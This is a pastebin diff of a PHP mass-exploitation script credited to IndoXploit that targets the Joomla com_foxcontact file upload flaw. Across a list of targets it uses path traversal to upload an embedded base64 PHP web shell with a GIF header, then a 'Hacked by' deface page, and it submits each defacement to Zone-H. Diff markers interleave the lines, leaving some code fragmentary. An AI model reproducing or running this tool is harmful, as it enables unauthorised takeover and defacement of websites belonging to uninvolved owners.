View difference between Paste ID: RrFsAVBx and EAtSir5V
SHOW: | | - or go back to the newest paste.
1
<?php
2
/**
3
4
Joomla Component com_foxcontact Arbitrary File Upload
5
https://cxsecurity.com/issue/WLB-2016050072
6
7
Auto Exploiter (Shell Upload, Auto Deface, and Auto Submit Zone -H)
8
Coded by: L0c4lh34rtz - IndoXploit
9
http://www.indoxploit.or.id/2017/12/joomla-component-comfoxcontact.html
10
11
*/
12
13
error_reporting(0);
14
set_time_limit(0);
15
16
Class IDX_Foxcontact {
17
	public  $url;
18
	private $hacker;
19
	private $file = [];
20-
	/* Nick Hacker Kalian / Nick Zone -H Kalian */
20+
21-
	/* Pastikan dalam script deface kalian terdapat kata HACKED */
21+
22-
	private $hacker = "L0c4lh34rtz";
22+
23
24-
	/* script uploader, sebaiknya jangan di otak-atik */
24+
25-
	private $uploader  = 'R0lGODlhOw0KPGh0bWw+DQo8dGl0bGU+VXBsb2FkZXIgQnkgSW5kb1hwbG9pdCBCT1Q8L3RpdGxlPg0KPHA+PD9waHAgZWNobyAnPGI+Jy5waHBfdW5hbWUoKS4nPC9iPic7ID8+PGJyPg0KPD9waHAgZWNobyAnPGI+Jy5nZXRjd2QoKS4nPC9iPic7ID8+PC9wPg0KPGZvcm0gbWV0aG9kPSdwb3N0JyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4NCjxpbnB1dCB0eXBlPSdmaWxlJyBuYW1lPSdpZHhfZmlsZSc+DQo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0ndXBsb2FkJyBuYW1lPSd1cGxvYWQnPg0KPC9mb3JtPg0KPD9waHAgaWYoaXNzZXQoJF9QT1NUWyd1cGxvYWQnXSkpIHsgaWYoQGNvcHkoJF9GSUxFU1snaWR4X2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snaWR4X2ZpbGUnXVsnbmFtZSddKSkgeyBlY2hvJF9GSUxFU1snaWR4X2ZpbGUnXVsnbmFtZSddLiAnWzxiPk9LPC9iPl0nOyB9IGVsc2UgeyBlY2hvJF9GSUxFU1snaWR4X2ZpbGUnXVsnbmFtZSddLiAnWzxiPkZBSUxFRDwvYj4nOyB9IH0gPz4=';
25+
26
27-
	/* script deface, ubah bagian ini ke base64 script deface kalian */
27+
28-
	private $deface    = 'DQo8IS0tDQphZG1pbkBpbmRveHBsb2l0Lm9yLmlkDQoNCiNQYXRjaCBZb3VyIFN5c3RlbQ0KLS0+DQo8IURPQ1RZUEUgSFRNTD4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+SGFja2VkIGJ5IEwwYzRsaDM0cnR6fjwvdGl0bGU+DQo8bWV0YSBjaGFyc2V0PSJVVEYtOCI+DQo8bWV0YSBuYW1lPSJhdXRob3IiIGNvbnRlbnQ9IkwwYzRsaDM0cnR6ICNJbmRvWHBsb2l0ICNTYW5qdW5nYW5KaXdhIj4NCjxtZXRhIG5hbWU9ImtleXdvcmRzIiBjb250ZW50PSJJbmRvWHBsb2l0LCBTYW5qdW5nYW4gSml3YSwgSGFja2VkIGJ5IEluZG9YcGxvaXQsIEhhY2tlZCBieSBMMGM0bGgzNHJ0eiI+DQo8bWV0YSBwcm9wZXJ0eT0ib2c6a2V5d29yZHMiIGNvbnRlbnQ9IkluZG9YcGxvaXQsIFNhbmp1bmdhbiBKaXdhLCBIYWNrZWQgYnkgSW5kb1hwbG9pdCwgSGFja2VkIGJ5IEwwYzRsaDM0cnR6Ij4NCjxtZXRhIG5hbWU9ImRlc2NyaXB0aW9uIiBjb250ZW50PSJIYWNrZWQgYnkgTDBjNGxoMzRydHogfCBJbmRvWHBsb2l0IC0gU2FuanVuZ2FuIEppd2EiPg0KPG1ldGEgcHJvcGVydHk9Im9nOmRlc2NyaXB0aW9uIiBjb250ZW50PSJIYWNrZWQgYnkgTDBjNGxoMzRydHogfCBJbmRvWHBsb2l0IC0gU2FuanVuZ2FuIEppd2EiPg0KPGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwOi8vZmxhLmZnLWEuY29tL2ZsYWdzL2luZG9uZXNpYS1mbGFnLWJ1dHRvbi0yLnBuZyI+DQo8c3R5bGU+DQpoMSB7DQoJbWFyZ2luLXRvcDogNGVtOw0KCWZvbnQtZmFtaWx5OiBtb25vc3BhY2U7DQoJZm9udC1zaXplOiA0NXB4Ow0KfQ0KDQpib2R5IHsgDQoJYmFja2dyb3VuZDogYmxhY2s7IA0KCXRleHQtYWxpZ246IGNlbnRlcjsgDQoJdGV4dC1zaGFkb3c6IDFweCAxcHggIzE3YTI0ZjsgDQoJZm9udC1mYW1pbHk6Q291cmllciBOZXc7IA0KCWNvbG9yOiB3aGl0ZTsgDQp9IA0KPC9zdHlsZT4NCjwvaGVhZD4NCjxib2R5Pg0KPGgxPkhhY2tlZCBieSBMMGM0bGgzNHJ0ejwvaDE+DQo8cD48Zm9udCBzaXplPSIyIj4jPG1hcnF1ZWUgYmVoYXZpb3I9ImFsdGVybmF0ZSIgc2Nyb2xsYW1vdW50PSI0IiB3aWR0aD0iNDAlIj5JbmRvWHBsb2l0IC0gU2FuanVuZ2FuIEppd2EgLSBEZXBvayBDeWJlciBTZWN1cml0eSA8L21hcnF1ZWU+IzwvZm9udD48L3A+DQo8aWZyYW1lIHNyYz0iaHR0cDovL3d3dy55b3V0dWJlLmNvbS9lbWJlZC9Fem14N21VNnF0Zz9yZWw9MCZhbXA7YXV0b3BsYXk9MSZhbXA7bG9vcD0xJmFtcDtwbGF5bGlzdD1Fem14N21VNnF0ZyIgZnJhbWVib3JkZXI9IjAiIGhlaWdodD0iMSIgd2lkdGg9IjEiPjwvaWZyYW1lPg0KPC9ib2R5Pg0KPC9odG1sPg0KPG5vc2NyaXB0Pg0KPCEtLQ==';
28+
29
		/* Nick Hacker Kalian / Nick Zone -H Kalian */
30-
		 
30+
		/* Pastikan dalam script deface kalian terdapat kata HACKED */
31
		$this->hacker  = "L0c4lh34rtz"; 
32
	}
33
34
	public function randomFileName() {
35
		$characters = implode("", range(0,9)).implode("", range("A","Z")).implode("", range("a","z"));
36
		$generate   = substr(str_shuffle($characters), 0, rand(4, 8));
37
38
		$prefixFilename = "\x69\x6e\x64\x6f\x78\x70\x6c\x6f\x69\x74"."_";
39
		return $prefixFilename.$generate;
40
	}
41-
	public function validUrl() {
41+
42-
		if(!preg_match("/^http:\/\//", $this->url) AND !preg_match("/^https:\/\//", $this->url)) {
42+
43-
			$url = "http://".$this->url;
43+
44-
			return $url;
44+
45
			  curl_setopt($ch, CURLOPT_URL, $url);
46-
			return $this->url;
46+
47
			  //curl_setopt($ch, CURLOPT_VERBOSE, TRUE);
48
			  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
49
			  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
50
			  curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
51
			  curl_setopt($ch, CURLOPT_TIMEOUT, 5);
52
53
		if($data !== null) {
54
			  curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
55
			  curl_setopt($ch, CURLOPT_POST, TRUE);
56
			  curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
57
		}
58
59
		if($headers !== null) {
60
			  curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
61
		}
62
63
		if($cookie === true) {
64
			  curl_setopt($ch, CURLOPT_COOKIE, TRUE);
65
			  curl_setopt($ch, CURLOPT_COOKIEFILE, "cookie.txt");
66
			  curl_setopt($ch, CURLOPT_COOKIEJAR, "cookie.txt");
67
		}
68
69
		$exec = curl_exec($ch);
70
		$info = curl_getinfo($ch);
71
72
			  curl_close($ch);
73
74
		return (object) [
75
			"response" 	=> $exec,
76
			"info"		=> $info
77
		];
78
79
	}
80
81
	public function getId() {
82
		$url 		= $this->url;
83
		$getContent = $this->curl($url)->response;
84
		preg_match_all("/<a name=\"cid_(.*?)\">/", $getContent, $cid);
85
		preg_match_all("/<a name=\"mid_(.*?)\">/", $getContent, $mid);
86
87
		return (object) [
88
			"cid" => ($cid[1][0] === NULL ? 0 : $cid[1][0]),
89
			"mid" => ($mid[1][0] === NULL ? 0 : $mid[1][0]),
90
		];
91
	}
92
93
	public function exploit() {
94
		$getCid = $this->getId()->cid;
95
		$getMid = $this->getId()->mid;
96
97
		$url	= (object) parse_url($this->url);
98
99
		/* script uploader, sebaiknya jangan di otak-atik */
100
		$post   = base64_decode('R0lGODlhOw0KPGh0bWw+DQo8dGl0bGU+VXBsb2FkZXIgQnkgSW5kb1hwbG9pdCBCT1Q8L3RpdGxlPg0KPHA+PD9waHAgZWNobyAnPGI+Jy5waHBfdW5hbWUoKS4nPC9iPic7ID8+PGJyPg0KPD9waHAgZWNobyAnPGI+Jy5nZXRjd2QoKS4nPC9iPic7ID8+PC9wPg0KPGZvcm0gbWV0aG9kPSdwb3N0JyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4NCjxpbnB1dCB0eXBlPSdmaWxlJyBuYW1lPSdpZHhfZmlsZSc+DQo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0ndXBsb2FkJyBuYW1lPSd1cGxvYWQnPg0KPC9mb3JtPg0KPD9waHAgaWYoaXNzZXQoJF9QT1NUWyd1cGxvYWQnXSkpIHsgaWYoQGNvcHkoJF9GSUxFU1snaWR4X2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snaWR4X2ZpbGUnXVsnbmFtZSddKSkgeyBlY2hvJF9GSUxFU1snaWR4X2ZpbGUnXVsnbmFtZSddLiAnWzxiPk9LPC9iPl0nOyB9IGVsc2UgeyBlY2hvJF9GSUxFU1snaWR4X2ZpbGUnXVsnbmFtZSddLiAnWzxiPkZBSUxFRDwvYj4nOyB9IH0gPz4=');
101
		
102
		/* script deface, ubah bagian ini ke base64 script deface kalian */
103
		$post2  = base64_decode('DQo8IS0tDQphZG1pbkBpbmRveHBsb2l0Lm9yLmlkDQoNCiNQYXRjaCBZb3VyIFN5c3RlbQ0KLS0+DQo8IURPQ1RZUEUgSFRNTD4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+SGFja2VkIGJ5IEwwYzRsaDM0cnR6fjwvdGl0bGU+DQo8bWV0YSBjaGFyc2V0PSJVVEYtOCI+DQo8bWV0YSBuYW1lPSJhdXRob3IiIGNvbnRlbnQ9IkwwYzRsaDM0cnR6ICNJbmRvWHBsb2l0ICNTYW5qdW5nYW5KaXdhIj4NCjxtZXRhIG5hbWU9ImtleXdvcmRzIiBjb250ZW50PSJJbmRvWHBsb2l0LCBTYW5qdW5nYW4gSml3YSwgSGFja2VkIGJ5IEluZG9YcGxvaXQsIEhhY2tlZCBieSBMMGM0bGgzNHJ0eiI+DQo8bWV0YSBwcm9wZXJ0eT0ib2c6a2V5d29yZHMiIGNvbnRlbnQ9IkluZG9YcGxvaXQsIFNhbmp1bmdhbiBKaXdhLCBIYWNrZWQgYnkgSW5kb1hwbG9pdCwgSGFja2VkIGJ5IEwwYzRsaDM0cnR6Ij4NCjxtZXRhIG5hbWU9ImRlc2NyaXB0aW9uIiBjb250ZW50PSJIYWNrZWQgYnkgTDBjNGxoMzRydHogfCBJbmRvWHBsb2l0IC0gU2FuanVuZ2FuIEppd2EiPg0KPG1ldGEgcHJvcGVydHk9Im9nOmRlc2NyaXB0aW9uIiBjb250ZW50PSJIYWNrZWQgYnkgTDBjNGxoMzRydHogfCBJbmRvWHBsb2l0IC0gU2FuanVuZ2FuIEppd2EiPg0KPGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwOi8vZmxhLmZnLWEuY29tL2ZsYWdzL2luZG9uZXNpYS1mbGFnLWJ1dHRvbi0yLnBuZyI+DQo8c3R5bGU+DQpoMSB7DQoJbWFyZ2luLXRvcDogNGVtOw0KCWZvbnQtZmFtaWx5OiBtb25vc3BhY2U7DQoJZm9udC1zaXplOiA0NXB4Ow0KfQ0KDQpib2R5IHsgDQoJYmFja2dyb3VuZDogYmxhY2s7IA0KCXRleHQtYWxpZ246IGNlbnRlcjsgDQoJdGV4dC1zaGFkb3c6IDFweCAxcHggIzE3YTI0ZjsgDQoJZm9udC1mYW1pbHk6Q291cmllciBOZXc7IA0KCWNvbG9yOiB3aGl0ZTsgDQp9IA0KPC9zdHlsZT4NCjwvaGVhZD4NCjxib2R5Pg0KPGgxPkhhY2tlZCBieSBMMGM0bGgzNHJ0ejwvaDE+DQo8cD48Zm9udCBzaXplPSIyIj4jPG1hcnF1ZWUgYmVoYXZpb3I9ImFsdGVybmF0ZSIgc2Nyb2xsYW1vdW50PSI0IiB3aWR0aD0iNDAlIj5JbmRvWHBsb2l0IC0gU2FuanVuZ2FuIEppd2EgLSBEZXBvayBDeWJlciBTZWN1cml0eSA8L21hcnF1ZWU+IzwvZm9udD48L3A+DQo8aWZyYW1lIHNyYz0iaHR0cDovL3d3dy55b3V0dWJlLmNvbS9lbWJlZC9Fem14N21VNnF0Zz9yZWw9MCZhbXA7YXV0b3BsYXk9MSZhbXA7bG9vcD0xJmFtcDtwbGF5bGlzdD1Fem14N21VNnF0ZyIgZnJhbWVib3JkZXI9IjAiIGhlaWdodD0iMSIgd2lkdGg9IjEiPjwvaWZyYW1lPg0KPC9ib2R5Pg0KPC9odG1sPg0KPG5vc2NyaXB0Pg0KPCEtLQ==');
104
105
		$headers = [
106
			"X-Requested-With: XMLHttpRequest",
107
			"X-File-Name: ".$this->file->shell,
108
			"Content-Type: image/jpeg"
109
		];
110
111
		$vuln 	= [
112
			$url->scheme."://".$url->host."/components/com_foxcontact/lib/file-uploader.php?cid=".$getCid."&mid=".$getMid."&qqfile=/../../".$this->file->shell,
113
			$url->scheme."://".$url->host."/index.php?option=com_foxcontact&view=loader&type=uploader&owner=component&id=".$getCid."?cid=".$getCid."&mid=".$getMid."&qqfile=/../../".$this->file->shell,
114
			$url->scheme."://".$url->host."/index.php?option=com_foxcontact&view=loader&type=uploader&owner=module&id=".$getCid."?cid=".$getCid."&mid=".$getMid."&qqfile=/../../".$this->file->shell,
115
			$url->scheme."://".$url->host."/components/com_foxcontact/lib/uploader.php?cid=".$getCid."&mid=".$getMid."&qqfile=/../../".$this->file->shell,
116
		];
117
118
		foreach($vuln as $v) {
119
			$this->curl($v, $post, $headers);
120
		}
121
122
		$shell = $url->scheme."://".$url->host."/components/com_foxcontact/".$this->file->shell;
123
		$check = $this->curl($shell)->response;
124
		if(preg_match("/Uploader By IndoXploit BOT/i", $check)) {
125
			print "[+] Shell OK: ".$shell."\n";
126
			$this->save($shell);
127
		} else {
128
			print "[-] Shell Failed\n";
129-
			$this->curl($v, base64_decode($this->uploader), $headers);
129+
130
		
131
		$vuln 	= [
132
			$url->scheme."://".$url->host."/components/com_foxcontact/lib/file-uploader.php?cid=".$getCid."&mid=".$getMid."&qqfile=/../../../../".$this->file->deface,
133
			$url->scheme."://".$url->host."/index.php?option=com_foxcontact&view=loader&type=uploader&owner=component&id=".$getCid."?cid=".$getCid."&mid=".$getMid."&qqfile=/../../../../".$this->file->deface,
134
			$url->scheme."://".$url->host."/index.php?option=com_foxcontact&view=loader&type=uploader&owner=module&id=".$getCid."?cid=".$getCid."&mid=".$getMid."&qqfile=/../../../../".$this->file->deface,
135
			$url->scheme."://".$url->host."/components/com_foxcontact/lib/uploader.php?cid=".$getCid."&mid=".$getMid."&qqfile=/../../../../".$this->file->deface,
136
		];
137
138
		foreach($vuln as $v) {
139
			$this->curl($v, $post2, $headers);
140
		}
141
142
		$deface = $url->scheme."://".$url->host."/".$this->file->deface;
143
		$check = $this->curl($deface)->response;
144
		if(preg_match("/hacked/i", $check)) {
145
			print "[+] Deface OK: ".$deface."\n";
146
			$this->zoneh($deface);
147
			$this->save($deface);
148
		} else {
149-
			$this->curl($v, base64_decode($this->deface), $headers);
149+
150
		}
151
	}
152
153
	public function zoneh($url) {
154
		$post = $this->curl("http://www.zone-h.com/notify/single", "defacer=".$this->hacker."&domain1=$url&hackmode=1&reason=1&submit=Send",null,false);
155
156
		if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $post->response)) {
157
			print "[+] Zone-H ($url) [OK]\n";
158
		} else {
159
			print "[+] Zone-H ($url) [FAILED]\n";
160
		}
161
	}
162
163
	public function save($isi) {
164
		$handle = fopen("result_foxcontact.txt", "a+");
165-
		if(preg_match("/color=\"red\">(.*?)<\/font><\/li>/i", $post->response, $matches)) {
165+
166-
			if($matches[1] === "ERROR") {
166+
167-
				preg_match("/<font color=\"red\">ERROR:<br\/>(.*?)<br\/>/i", $post->response, $matches2);
167+
168-
				print "[-] Zone-H ($url) [ERROR: ".$matches2[1]."]\n\n";
168+
169-
			} else {
169+
	public function __destruct() {
170-
				print "[+] Zone-H ($url) [OK]\n\n";
170+
		print "\n\n
171-
			}
171+
		";
172
	}
173
} 	
174
175
$fox = new IDX_Foxcontact();
176
177
if(!isset($argv[1])) die("!! Usage: php ".$argv[0]." target.txt");
178
if(!file_exists($argv[1])) die("!! File target ".$argv[1]." tidak di temukan!!");
179
$open = explode("\n", file_get_contents($argv[1]));
180
181
foreach($open as $list) {
182
	$fox->url = trim($list);
183
	print "[+] Exploiting ".parse_url($fox->url, PHP_URL_HOST)."\n";
184
	$fox->exploit();
185
}